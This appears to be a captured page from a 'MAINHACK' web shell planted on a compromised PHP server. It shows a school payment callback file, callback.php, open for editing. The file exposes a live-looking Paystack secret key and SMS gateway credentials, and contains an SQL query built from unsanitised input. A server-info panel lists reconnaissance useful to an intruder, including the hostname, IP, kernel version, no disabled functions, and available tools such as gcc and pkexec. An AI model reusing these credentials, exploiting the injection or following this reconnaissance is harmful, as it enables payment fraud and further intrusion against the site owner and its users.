[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: callback.php
<?php include("functions.php"); if (!isset($_GET['reference']) || empty($_GET['reference'])) { die('No reference provided.'); } $reference = $_GET['reference']; // Paystack API endpoint $secret_key = 'sk_live_c472f0bd96452d599a6bc760e943f1915566d5c9'; $url = 'https://api.paystack.co/transaction/verify/' . urlencode($reference); // cURL request $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Authorization: Bearer $secret_key", "Cache-Control: no-cache", ]); $response = curl_exec($ch); if (curl_errno($ch)) { die('cURL Error: ' . curl_error($ch)); } curl_close($ch); $json_response = json_decode($response, true); if ($json_response['status'] === true && $json_response['data']['status'] === 'success') { $transaction_data = $json_response['data']; // ✅ Basic transaction details $amount = $transaction_data['amount'] / 100; $currency = $transaction_data['currency']; $email = $transaction_data['customer']['email'] ?? ''; $fullname = $transaction_data['customer']['name'] ?? ''; // ✅ Extract custom fields safely $custom_fields = $transaction_data['metadata']['custom_fields'] ?? []; $indexNoo = ''; $phone = ''; // foreach ($custom_fields as $field) { // $key = strtolower(trim($field['display_name'])); // if ($key === 'index number (12-digit)' || $key === 'index number') { // $indexNoo = $field['value']; // } elseif ($key === 'phone number') { // $phone = $field['value']; // } // } foreach ($custom_fields as $field) { $key = strtolower(trim($field['display_name'])); $value = trim($field['value']); if ($key === 'index number (12-digit)' || $key === 'index number') { // Remove non-digits just in case $value = preg_replace('/\D/', '', $value); // If less than 12 digits, append '25' repeatedly until 12 digits while (strlen($value) < 12) { $value .= '25'; } // Trim in case it exceeds 12 digits $indexNoo = substr($value, 0, 12); } elseif ($key === 'phone number') { $phone = $value; } } $myTransactionID = str_pad(mt_rand(0, 9999999999), 10, '0', STR_PAD_LEFT); $pstatus = "Paid"; $datepaid = date("Y-m-d H:i:s"); $schoolCode11 = ''; $getschol = mysqli_query($new, "SELECT s_code FROM enrol_generic WHERE indexNo = '$indexNoo'"); if ($getschol && mysqli_num_rows($getschol) > 0) { $row = mysqli_fetch_assoc($getschol); $schoolCode11 = $row['s_code']; } // $stmt = $new->prepare("INSERT INTO stud_payment // (s_code, indexNumber, amount, pstatus, datepaid, transaction_id, access_code) // VALUES (?, ?, ?, ?, ?, ?, ?)"); // $stmt->bind_param("ssdssss", $schoolCode11, $indexNoo, $amount, $pstatus, $datepaid, $reference, $indexNoo); // $stmt->execute(); // $stmt2 = $new->prepare("UPDATE enrol_generic SET access = ? WHERE indexNo = ? AND s_code = ?"); // $stmt2->bind_param("sss", $indexNoo, $indexNoo, $schoolCode11); // $stmt2->execute(); // $senderID = "BBECAS"; // $data = json_encode([ // 'username' => "bbecas", // 'password' => "bbeduconsult456@gmail.com", // 'source' => $senderID, // 'destination'=> $phone, // 'message' => "Your Access Code is: $indexNoo", // 'ol' => false, // ]); // $curl = curl_init(); // curl_setopt_array($curl, [ // CURLOPT_URL => 'https://deywuro.com/api/sms', // CURLOPT_RETURNTRANSFER => true, // CURLOPT_CUSTOMREQUEST => 'POST', // CURLOPT_POSTFIELDS => $data, // CURLOPT_HTTPHEADER => [ // 'Accept: application/json', // 'Content-Type: application/json', // ], // ]); // $sms_response = curl_exec($curl); // curl_close($curl); // ✅ Show Success Page echo " <div style='font-family:Arial;text-align:center;padding:40px;background:#f8f9fa;'> <h2 style='color:#28a745;'>✅ Payment Successful</h2> <p><strong>Index Number:</strong> {$indexNoo}</p> <p><strong>School Code:</strong> {$schoolCode11}</p> <p><strong>Amount Paid:</strong> {$amount} {$currency}</p> <p><strong>PLASE NOTE:</strong> USER YOUR INDEX NUMBER AS ACCESS CODE {$indexNoo}</p> <a href='login.php' style='display:inline-block;margin-top:15px;background:#007bff;color:#fff;padding:10px 18px;border-radius:6px;text-decoration:none;font-size:15px;'>Proceed to Login</a> </div>"; } else { echo "❌ Payment verification failed: " . htmlspecialchars($json_response['message']); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002